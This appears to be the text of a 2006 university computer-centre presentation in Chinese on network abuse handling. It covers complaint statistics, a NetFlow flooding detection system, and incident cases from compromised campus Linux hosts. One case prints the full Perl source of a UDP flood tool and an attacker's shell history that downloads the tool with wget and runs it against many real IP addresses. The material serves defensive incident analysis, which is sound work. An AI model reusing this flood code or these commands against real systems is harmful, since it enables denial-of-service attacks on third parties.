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區域網路安全與智慧財產權

中央大學 電子計算機中心

楊素秋(center7@cc.ncu.edu.tw)  

mailto:center7@cc.ncu.edu.tw
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大 綱

•1.Abuse 通告事件資料分析

Spam, Hacking, Infrigement, Phishing

•2.Flooding 訊務偵測系統

–PortScan, Spam, Packet flooding

•3.網路安全事件處理經驗分享

•4.網路機房共同管理介面(公告欄)

–溫度監控, 維護日誌, 連線中斷公告
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1.Abuse 通告事件資料分析

•異常訊務通告依據

–Abuse complain log

•abuse@ncu.edu.tw 接受 abuse通知

•自動轉寄管理人員

–FDS (Flooding Detection System)

•Flooding 異常訊務累計

•偵測異常 flooding sources

•自動將訊務數據轉寄管理人員

mailto:abuse@ncu.edu.tw


2006-09-28 桃園區網中心 4

•Abuse complain的處理
–http://ayang.tyc.edu.tw/~yang/Moe/index_spam.php

–PortScan/Password crack

–Spam (廣告/色情)

–Infringement (侵犯智慧財產權)

–Phishing (Fraud)

http://ayang.tyc.edu.tw/~yang/Moe/index_spam.php
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桃園區網Abuse 檢舉信件分布圖(year-2004)
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桃園區網Abuse 檢舉信件分布圖(year-2005)
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桃園區網Abuse 檢舉信件分布圖(year-2006)
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違反智財權Abuse頻次分布 (2004-2006)
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廣告信Abuse頻次分布 (2004-2006)
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PortScan Abuse頻次分布 (2004-2006)
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2.Flooding 訊務偵測 (FDS)

•Technology to protect against abuse 
threats

–PortScan, Spam and Packet flooding 

•Share a crucial common feature

•Send out excessive probes/messages to a huge 
amount of destination systems
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2.Flooding 訊務 (cont.)

•A cheap accessible way for detecting 
flooding anomalies over Gateway

–Gathering NetFlow data (router)

–Constructing feature of the anomaly

•Portscan, spam, ssh password crack 

–Aggregating and sort out top-N sources

–Detecting the anomaly

•Comparing the multiple traffic variables
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2.Flooding 訊務 (cont.)

•FDS (Flooding Detection System)

–Flooding 異常訊務監測網頁

•http://lisa.tyc.edu.tw

–(a) PortScan anomaly

–(b) SMTP flooding 

–(c) UDP packet flooding

–(d) P2P Traffic Measurement **

http://lisa.tyc.edu.tw/
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SMTP Flooding訊務監測網頁: Detected anomalies
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SMTP Flooding 訊務監測介面: 通告信



2006-09-28 桃園區網中心 18

Port Scan訊務監測介面 : Detected anomalies
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Port Scan訊務監測介面 : 通告信內容
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UDP Packet Flooding監測介面 (一) :  Hourly Anomalies
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UDP Packet Flooding監測介面 (二) :  Detected Anomalies
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Transportation Byte/Octet MRTG 監測介面
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Transportation Packet MRTG 監測介面
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3.網路安全/智財群概念宣導

•NCU_Case: Abuse source from NCU

–Linux OS

–Detection & Notification

•Ssh password crack

•UDP packet flooding

•Ftp password crack

•Spam

•Abuse source tracking

–ddt.perl, shell script_1 & script_2
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UDP Packet Flooding (NCU_Case)

偵測到網路主機 140.115.23.1

可能已經為病毒所感染,請協助用戶修補或重灌系統後再上網.

The IP machine over your segment with the address of 140.115.23.1 machine 

may be infected by worms.

----

感覺 root 的密碼被盜，請問下列問題該如何處理??

----

SRC_IP>#.#.#.#.(Serv_port) Flows pk_size(KB) Pkts      Total(MB)

140.115.23.1>#.#.#.# 1408080 0.046 86675435   3893480

140.115.23.1>#.#.#.# 2047530 0.046 134822357 6056.161

140.115.23.1>#.#.#.# 1989145 0.046 129263947 5806.466

140.115.23.1>#.#.#.# 1969192 0.046 130470426 5860.820

140.115.23.1>#.#.#.# 1953292 0.046 130209531 5849.047

140.115.23.1>#.#.#.# 1892689 0.046 135355286 6080.168

140.115.23.1>#.#.#.# 1904571 0.046 136985253 6153.300
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my ($ip,$port,$size,$time);

$ip=$ARGV[0];  $port=$ARGV[1];  $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);

$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets;   }

if ($ARGV[1] !=0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &");

goto packets;  }

if ($ARGV[1] !=0 && $ARGV[2] ==0) {  goto packets;  }

if ($ARGV[1] ==0 && $ARGV[2] !=0) {   system("(sleep $time;killall -9 udp) &"); 

goto randpackets; }

packets:      for (;;) {  $size=$rand x $rand x $rand;    

send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } 

randpackets:    for (;;) {  $size=$rand x $rand x $rand; 

$port = int(rand 65000) +1;

send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }

ddt.pl  (UDP packet flooding Pgrn)
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# wget http://www.geocities.com/yaniv_virus/ddt.pl

# perl ddt.pl 193.201.54.247 0 0

# perl ddt.pl 66.92.68.36 0 0

# clear

# perl ddt.pl 83.229.72.6 0 0

# perl ddt.pl 208.185.83.23 0 0

# perl ddt.pl 208.185.83.40 0 0

# perl ddt.pl 208.185.81.11 0 0

# perl ddt.pl 208.185.83.1 0 0

# perl ddt.pl 208.185.83.58 0 0

# perl ddt.pl 192.42.93.32 0 0

# clear

# perl ddt.pl 72.20.16.141 0 0

# perl ddt.pl 208.185.83.31 0 0

# perl ddt.pl 208.185.83.23 0 0

# perl ddt.pl 208.185.83.10 0 0

# perl ddt.pl 207.126.105.146 0 0

# perl ddt.pl 192.228.79.201 0 0

# perl ddt.pl 82.166.127.226 0 0

# clear

# perl ddt.pl 209.67.212.138 0 0

# vi .bash_history

http://www.geocities.com/yaniv_virus/ddt.pl
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# cd Deaktop/

# tar -zxf httrack-3.40.tar.gz

# cd httrack-3.40.3

# install-sh

# # configure

# ./configure

# make; # make check; # make install ;# make clean

# clear

# perl ddt.pl 82.165.43.123 0 0

# perl ddt.pl

# perl ddt.pl 82.165.43.123 0 0

# perl ddt.pl 72.20.28.85 0 0

# perl ddt.pl 84.94.61.6 0 0

# ping -t 72.20.28.85

# ping -t 72.20.28.85 /l 65500

# ping 72.20.28.85 -t

# ping 72.20.28.85

# clear

# ping 72.20.28.85

# clear

# perl ddt.pl 82.165.43.123 0 0

# top
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httpd –DSSL 攻擊(NCU_Case)
您好：
最近遇到DNS 主機有被入侵的跡象，
系統OS 是 fedora core 4, 我下指令
ps -aux|more 找到下列資料：

sui 12474 99.9 0.3 8448 3260 ? R Sep12 1425:49 

/usr/local/apache/bin/httpd -DSSL

top 指令:

12474 sui 25 0 8448 3260 1376 R 99.9 0.3 1438:35 perl

其中 sui 是所上的教師帳號，平常有正常收發信件，
請問，上述情況該如何處置，謝謝您!

助理 振盛 20060913
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[主題] ㄧ個 /usr/sbin/httpd -DSSL 的攻擊

[報導] 昨天中央大學水文所網管回報：該 linux 伺服系統負載異常繁重,

以 top 觀看到許多異常的 /usr/sbin/httpd -DSSL processes.

網路上有許多討論群實際追蹤該processes發現：它藉由此攻擊是 phpBB 

弱點下載的bot 攻擊. /tmp目錄下可發現 worm.txt bot.txt 等檔案.

建議的緊急處理包括: 

(1) 使用firewall 擋掉不必要的ports 

例如: 此worm 使用 6667 port   或 80 port).

(2) 將 wget access權限設為 700.

(3) 安裝 mod_security 來限制/過濾惡意的 URLs
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4.網路機房共同管理介面

•緣由: 

•(公告欄)

–溫度監控

–機房維護日誌

–區網骨幹連線中斷公告
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